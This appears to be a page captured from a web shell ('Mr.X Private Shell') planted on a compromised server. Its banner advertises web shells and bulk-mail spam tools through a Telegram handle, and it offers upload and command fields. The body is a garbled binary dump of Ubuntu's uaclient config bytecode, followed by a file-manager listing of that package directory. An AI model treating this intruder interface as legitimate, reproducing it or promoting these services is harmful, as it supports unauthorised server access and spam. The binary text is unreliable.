__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�K��f�SSKrSSKrSSKrSSKJrJr SSKJrJrJ	r	 SSK
JrJrJ
r
JrJrJrJrJr SSKJrJrJrJrJrJrJrJrJr SSKJrJr SSK J!r! \RD"\RF"\$55r%SS	S
.r&Sr'Sr(S
r)\RT"5r+"SS5r,S\-4Sjr.SSjr/S\-4Sjr0g)�N)�	lru_cache�wraps)�Any�Dict�Optional)�apt�event_logger�
exceptions�http�messages�snap�system�util)	�APT_NEWS_URL�BASE_CONTRACT_URL�BASE_LIVEPATCH_URL�BASE_SECURITY_URL�BASE_VULNERABILITY_DATA_URL�CONFIG_DEFAULTS�CONFIG_FIELD_ENVVAR_ALLOWLIST�DEFAULT_CONFIG_FILE�DEFAULT_DATA_DIR)�state_files�user_config_file)�	safe_load�name�type)�availableResources�resourceEntitlements�_unset)�
http_proxy�https_proxy�apt_http_proxy�apt_https_proxy�ua_apt_http_proxy�ua_apt_https_proxy�global_apt_http_proxy�global_apt_https_proxy�update_messaging_timer�metering_timer�apt_news�apt_news_url�vulnerability_data_url_prefix�lxd_guest_attach)
�contract_url�data_dir�features�log_file�	log_level�security_urlr-�settings_overrides�	ua_config�
livepatch_urlc	�8�\rSrSrSrSrSrS3S\\\	\
4S\\RS\\	S	S4S
jjr
\S	\	4Sj5r\S	\	4Sj5r\S	\	4S
j5r\S	\\	4Sj5r\R&S\	4Sj5r\S	\\	4Sj5r\R&S\	4Sj5r\S	\\	4Sj5r\R&S\	4Sj5r\S	\\	4Sj5r\R&S\	4Sj5r\S	\	4Sj5r\R&S\	4Sj5r\\"SS9S	\\	4Sj55r\R&S\	4Sj5r\\"SS9S	\\	4Sj55r\R&S\	4Sj5r\S	\4Sj5r\R&S\4Sj5r\S	\4S j5r\R&S\4S!j5r\S	\4S"j5r\R&S\4S#j5r\S	\4S$j5r \ R&S\4S%j5r \S	\4S&j5r!\!R&S\4S'j5r!\S	\	4S(j5r"\"R&S\	4S)j5r"\S	\RF4S*j5r$\$R&S\RF4S+j5r$\S,5r%\S-5r&\S	\	4S.j5r'\S/5r(S0r)S1r*S2r+g)4�UAConfig�K)r%r&)r'r()r#r$N�cfg�user_config�series�returnc�z�U(aSUlXlSUlO1[5Ul[	UR5uUlUlU(aX lO$[R
R5UlSUR;aL[RR0UR
R5EURSESS9UlX0lg![aMn[RSUS9 [RS5 [R"5UlSnAN�SnAff=f)�NzError loading user config)�exc_infozUsing default config valuesr6T)� optional_type_errors_become_null)�cfg_pathr;�invalid_keys�get_config_path�parse_configr<r�read�	Exception�LOG�warning�UserConfigData�	from_dict�to_dictr=)�selfr;r<r=�es     �1/usr/lib/python3/dist-packages/uaclient/config.py�__init__�UAConfig.__init__Vs��� �D�M��H� $�D��+�-�D�M�*6�t�}�}�*E�'�D�H�d�'��*��
E�#3�#?�#?�#D�#D�#F�� ��$�(�(�"�/�>�>�H�H�G�4�#�#�+�+�-�G����+�1F�G�15� I� �D��
����
E����7�!��D����9�:�#3�#B�#B�#D�� � ��
E�s�#C#�#
D:�-AD5�5D:c�B�URRS[5$)Nr/)r;�getr�rNs rPr/�UAConfig.contract_urly����x�x�|�|�N�,=�>�>�c�B�URRS[5$)Nr4)r;rTrrUs rPr4�UAConfig.security_url}rWrXc�B�URRS[5$)Nr7)r;rTrrUs rPr7�UAConfig.livepatch_url�s���x�x�|�|�O�-?�@�@rXc�.�URR$�N)r<r!rUs rPr!�UAConfig.http_proxy�s�����*�*�*rX�valuec�v�XRl[RRUR5 gr^)r<r!r�write�rNr`s  rPr!r_�s(��&+���#��$�$�*�*�4�+;�+;�<rXc�.�URR$r^)r<r"rUs rPr"�UAConfig.https_proxy�s�����+�+�+rXc�v�XRl[RRUR5 gr^)r<r"rrbrcs  rPr"re�s(��',���$��$�$�*�*�4�+;�+;�<rXc�.�URR$r^)r<r&rUs rPr&�UAConfig.ua_apt_https_proxy�s�����2�2�2rXc�v�XRl[RRUR5 gr^)r<r&rrbrcs  rPr&rh�s(��.3���+��$�$�*�*�4�+;�+;�<rXc�.�URR$r^)r<r%rUs rPr%�UAConfig.ua_apt_http_proxy�s�����1�1�1rXc�v�XRl[RRUR5 gr^)r<r%rrbrcs  rPr%rk�s(��-2���*��$�$�*�*�4�+;�+;�<rXc�D�URRnUc[$U$r^)r<r-r�rN�vals  rPr-�&UAConfig.vulnerability_data_url_prefix�s#�����<�<���;�.�.��
rXc�v�XRl[RRUR5 gr^)r<r-rrbrcs  rPr-rp�s(��9>���6��$�$�*�*�4�+;�+;�<rX)�maxsizec���URRnU(aU$URRnU(a3[R	[
RRSSS95 U$g)Nr#r'��old�new)r<r'r#�event�infor�WARNING_DEPRECATED_FIELD�format�rN�
global_val�old_apt_vals   rPr'�UAConfig.global_apt_http_proxy�sh���%�%�;�;�
�����&�&�5�5����J�J��1�1�8�8�(�.E�9��
�
��rXc���XRlSURl[RRR5 [RRUR5 gr^)r<r'r#r9�fget�cache_clearrrbrcs  rPr'r~�sN��16���.�*.����'��&�&�+�+�7�7�9��$�$�*�*�4�+;�+;�<rXc���URRnU(aU$URRnU(a3[R	[
RRSSS95 U$g)Nr$r(rt)r<r(r$rwrxrryrzr{s   rPr(�UAConfig.global_apt_https_proxy�sh���%�%�<�<�
�����&�&�6�6����J�J��1�1�8�8�)�/G�9��
�
��rXc���XRlSURl[RRR5 [RRUR5 gr^)r<r(r$r9r�r�rrbrcs  rPr(r��sN��27���/�+/����(��'�'�,�,�8�8�:��$�$�*�*�4�+;�+;�<rXc�:�URRnUcgU$)Ni`T)r<r)rns  rPr)�UAConfig.update_messaging_timer�s �����5�5���;���
rXc�v�XRl[RRUR5 gr^)r<r)rrbrcs  rPr)r��s(��27���/��$�$�*�*�4�+;�+;�<rXc�:�URRnUcgU$)Ni@8)r<r*rns  rPr*�UAConfig.metering_timer�s �����-�-���;���
rXc�v�XRl[RRUR5 gr^)r<r*rrbrcs  rPr*r��s(��*/���'��$�$�*�*�4�+;�+;�<rXc�:�URRnUcgU$)NF)r<�poll_for_pro_licenserns  rPr��UAConfig.poll_for_pro_license�s"��
���3�3���;���
rXc�v�XRl[RRUR5 gr^)r<r�rrbrcs  rPr�r�s(��05���-��$�$�*�*�4�+;�+;�<rXc�:�URRnUcgU$)NiX)r<�polling_error_retry_delayrns  rPr��"UAConfig.polling_error_retry_delays"�����8�8���;���
rXc�v�XRl[RRUR5 gr^)r<r�rrbrcs  rPr�r�s(��5:���2��$�$�*�*�4�+;�+;�<rXc�:�URRnUcgU$)NT)r<r+rns  rPr+�UAConfig.apt_newss �����'�'���;���
rXc�v�XRl[RRUR5 gr^)r<r+rrbrcs  rPr+r�!s(��$)���!��$�$�*�*�4�+;�+;�<rXc�D�URRnUc[$U$r^)r<r,rrns  rPr,�UAConfig.apt_news_url&s#�����+�+���;����
rXc�v�XRl[RRUR5 gr^)r<r,rrbrcs  rPr,r�-s(��(-���%��$�$�*�*�4�+;�+;�<rXc�l�URRnUc[RR$U$r^)r<r.r�LXDGuestAttachEnum�OFFrns  rPr.�UAConfig.lxd_guest_attach2s/�����/�/���;�#�6�6�:�:�:��
rXc��Uc[RRnXRl[RRUR5 gr^)rr�r�r<r.rbrcs  rPr.r�9s>���=�$�7�7�;�;�E�,1���)��$�$�*�*�4�+;�+;�<rXc�B�URRS[5$)Nr0)r;rTrrUs rPr0�UAConfig.data_dir@s���x�x�|�|�J�(8�9�9rXc��URRSS5n[[UR	55$![
a [Rs$f=f)Nr3�DEBUG)r;rT�getattr�logging�upper�AttributeErrorr�)rNr3s  rPr3�UAConfig.log_levelDsH���H�H�L�L��g�6�	�	!��7�I�O�O�$5�6�6���	!��=�=� �	!�s�<�A�Ac�H�URRS[S5$)Nr2)r;rTrrUs rPr2�UAConfig.log_fileLs���x�x�|�|�J��
�(C�D�DrXc��URRS5nU(a-[U[5(aU$[RSU5 0$)z>Return a dictionary of any features provided in uaclient.conf.r1zDUnexpected uaclient.conf features value. Expected dict, but found %s)r;rT�
isinstance�dictrIrJ)rNr1s  rPr1�UAConfig.featuresPsF���8�8�<�<�
�+����(�D�)�)������3���
�	rXc�D
�SHXn[X5nUc[RSU5 M)[U[5(aUS:dMF[
R"XS9e UR(dUR(a7UR(dUR(a[
R"5e[R"SUR[R5 [R"SUR[R5 [R"SUR[R5 [R"SUR[R5 [R"SUR [R"5 [R"SUR$[R&5 UR(dUR(aE[(R*"URUR[(R,R.5 OfUR(dUR(aD[(R*"URUR[(R,R05 /n[2R4"5(a�[2R6"UR UR$5 UR (d)[2R8"[2R:5(d:UR$(d:[2R8"[2R<5(aUR?S5 SSK J!n SS	K"J#n U"U5RHn[KS
U55nU(a�URMUR UR$5 UR (d UR9UR:5(d1UR$(d1UR9UR<5(aUR?S5 [OU5S:�a7SRQU5n[S[TRVRYUS
95 SSK-J.n	 UR^[`RbRd:wa1U	"U5Rf(d[S[TRh5 g[jRlRo[jRp"UR^S95 g)N)r)r*z1No config set for %s, default value will be used.r��keyr`r�httpsr
)�	livepatch)�_enabled_servicesc3�H# �UHoRS:XdMUv� M g7f)r�N)r)�.0�ents  rP�	<genexpr>�*UAConfig.process_config.<locals>.<genexpr>�s��� 
�+�C�x�x�;�/F�C�C�+�s�"�	"r�z, )�services)�_is_attached)�guest_attach)9r�rI�debugr��intr
�InvalidPosIntConfigValuer'r(r%r&�InvalidProxyCombinationConfigr�validate_proxy�PROXY_VALIDATION_APT_HTTP_URL�PROXY_VALIDATION_APT_HTTPS_URLr!�PROXY_VALIDATION_SNAP_HTTP_URLr"�PROXY_VALIDATION_SNAP_HTTPS_URLr�setup_apt_proxy�
AptProxyScope�GLOBAL�UACLIENTr
�is_snapd_installed�configure_snap_proxy�get_config_option_value�HTTP_PROXY_OPTION�HTTPS_PROXY_OPTION�append�uaclientr��-uaclient.api.u.pro.status.enabled_services.v1r��enabled_services�any�configure_livepatch_proxy�len�join�printr�!PROXY_DETECTED_BUT_NOT_CONFIGUREDrz�(uaclient.api.u.pro.status.is_attached.v1r�r.rr�r��is_attached�-WARNING_LXD_GUEST_ATTACH_SET_BUT_NOT_ATTACHEDr�lxd_pro_config_filerb�LXDProConfig)
rN�propr`�services_with_proxiesr�r�r��livepatch_enabledr�r�s
          rP�process_config�UAConfig.process_config_s���
�D��D�'�E��}��	�	�G��� ��s�+�+�u�q�y� �9�9����
�
�&�&�$�*E�*E��"�"�d�&=�&=��:�:�<�<������&�&��.�.�	
�
	
�����'�'��/�/�	
�
	
����D�*�*�D�,N�,N�	
�	
�����#�#��/�/�	
�
	
����D�O�O�T�%H�%H�	
�	
����T�%�%�t�'K�'K�	
��%�%��)D�)D�����*�*��+�+��!�!�(�(�
�
�
#�
#�t�'>�'>�����&�&��'�'��!�!�*�*�
�!#���"�"�$�$��%�%�d�o�o�t�7G�7G�H��O�O��0�0��1G�1G�H�H��$�$��0�0��1H�1H�I�I�%�,�,�V�4�&�	
�-�T�2�C�C��� 
�+� 
�
����/�/�����!1�!1�
��O�O��5�5��/�/����$�$��5�5��0�0���&�,�,�[�9��$�%��)��y�y�!6�7�H���:�:�A�A�%�B��
�	J�
�!�!�%5�%H�%H�%L�%L�L� ��&�2�2��(�H�H�I��+�+�1�1��(�(�d�6K�6K�L�
rXc�L�URb2[UR5Hn[RSU5 M SUR;aU[RS5 [RS5 [RS5 [RS5 gg)Nz&Ignoring invalid uaclient.conf key: %sr6z)legacy "ua_config" found in uaclient.confzPlease do the following:z�  1. run `sudo pro config set field=value` for each field/value pair present under "ua_config" in /etc/ubuntu-advantage/uaclient.confzQ  2. Delete "ua_config" and all sub-fields in /etc/ubuntu-advantage/uaclient.conf)rD�sortedrIrJr;)rN�invalid_keys  rP�warn_about_invalid_keys� UAConfig.warn_about_invalid_keys�s������(�%�d�&7�&7�8�����<�k�� 9��$�(�(�"�
�K�K�C�D��K�K�2�3��K�K�7�
�

�K�K�7�
�#rX)r;rCrDr=r<)NNN),�__name__�
__module__�__qualname__�__firstlineno__�ua_scoped_proxy_options�global_scoped_proxy_options�&deprecated_global_scoped_proxy_optionsrr�strrrrKrQ�propertyr/r4r7r!�setterr"r&r%r-rr'r(r�r)r*�boolr�r�r+r,r�r.r0r3r2r1r�r��__static_attributes__�rXrPr9r9Ks���I��#��.�*�)-�AE� $�	!�
�d�3��8�n�
%�!��.�=�=�>�!���
�	!�

�!�F�?�c�?��?��?�c�?��?��A�s�A��A��+�H�S�M�+��+����=��=��=��,�X�c�]�,��,����=��=��=��3�H�S�M�3��3����=��=��=��2�8�C�=�2��2����=�s�=��=���s����#�)�)�=�3�=�*�=���t��
�x��}�
���
��!�!�=�3�=�"�=���t��
���
�
���
��"�"�=�C�=�#�=��������"�"�=�C�=�#�=����������=�C�=��=���d����� � �=�$�=�!�=���3�����%�%�=�s�=�&�=���$�����_�_�=�d�=��=���c�������=�#�=��=���"2�"E�"E�������=�&6�&I�&I�=��=��:��:��!��!��E�#�E��E�����t�lrXr9r>c�^�[RRS5nU(aU$[$)z4Get config path to be used when loading config dict.�UA_CONFIG_FILE)�os�environrTr)�config_files rPrErE�s$���*�*�.�.�!1�2�K�����rXc��[R"[5nU(d
[5n[R	SU5 [
RRU5(a.UR[[R"U555 0n[
RR5H�up4UR5nURS5(dM-USSnURS5(a�USSnUR!S5(aX[
RRU5(a [[R"U55nO["R$"US9eS	U;aXd0US	'M�XAS	U'M�U[&;dM�XBU'M� URU5 S
U;a%[
RR)US
5US
'SH7n[*R,"X5(aM"["R."X1US9e [1UR355R5[65nUHnUR9U5 M X4$)
arParse known Pro config file

Attempt to find configuration in cwd and fallback to DEFAULT_CONFIG_FILE.
Any missing configuration keys will be set to CONFIG_DEFAULTS.

Values are overridden by any environment variable with prefix 'UA_'.

@param config_path: Fullpath to pro configfile. If unspecified, use
    DEFAULT_CONFIG_FILE.

@return: Dict of configuration values.
z%Using client configuration file at %s�ua_�N�	features_�	�yaml)�filepathr1r0)r/r4r�)�copyrrErIr�r��path�exists�updaterr�	load_filer��items�lower�
startswith�endswithr
�InvalidFeatureYamlConfigValuer�
expanduserr�is_service_url�InvalidURLConfigValue�set�keys�
difference�VALID_UA_CONFIG_KEYS�pop)	�config_pathr;�env_keysr�r`�
field_name�feature_field_namerDr�s	         rPrFrF�s����)�)�O�
$�C��%�'���I�I�5�{�C�	�w�w�~�~�k�"�"��
�
�9�V�-�-�k�:�;�<��H��j�j�&�&�(�
���i�i�k���>�>�%� � ��Q�R��J��$�$�[�1�1�%/���^�"��>�>�&�)�)��w�w�~�~�e�,�,� )�&�*:�*:�5�*A� B��(�F�F�%*����S�(�'9�&A�C�
�O�:?�
�O�$6�7��5�5�',��$�5)�6�J�J�x���S���'�'�,�,�S��_�=��J��/���"�"�3�8�,�,��2�2�s�c�(�K�K�0��s�x�x�z�?�-�-�.B�C�L�#�������$���rX�override_keyc�^�U4SjnU$)a�Decorator used to override function return by config settings.

To identify if we should override the function return, we check
if the config object has the expected override key, we use it
has, we will use the key value as the function return. Otherwise
we will call the function normally.

@param override_key: key to be looked for in the settings_override
 entry in the config dict. If that key is present, we will return
 its value as the function return.
c�4>^�[T5UU4Sj5nU$)Nc�>�[5upURS05RT[5nU[:waTS:XaUS4$U$T"5$)Nr5�
cloud_type)rFrT�UNSET_SETTINGS_OVERRIDE_KEY)r;�_�value_override�frs   ��rP�new_f�>apply_config_settings_override.<locals>.wrapper.<locals>.new_fAsY���!�^�F�C� �W�W�%9�2�>�B�B��9��N��!<�<��<�/�*�D�1�1�%�%��3�JrX)r)rrrs` �rP�wrapper�/apply_config_settings_override.<locals>.wrapper@s ���	�q��	�
�	��rXr�)rr s` rP�apply_config_settings_overrider"3s����"�NrXr^)1r�r�r��	functoolsrr�typingrrrr�rr	r
rrr
rr�uaclient.defaultsrrrrrrrrr�uaclient.filesrr�
uaclient.yamlr�	getLogger�replace_top_level_logger_namer�rI�MERGE_ID_KEY_MAPr�UA_CONFIGURABLE_KEYSr�get_event_loggerrwr9r�rErFr"r�rXrP�<module>r-s�����	�&�&�&�	�	�	�
�
�
�9�#�
����:�:�8�D�E��!�"���'����$��	�%�%�'��]�]�@
���<�~��rX

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager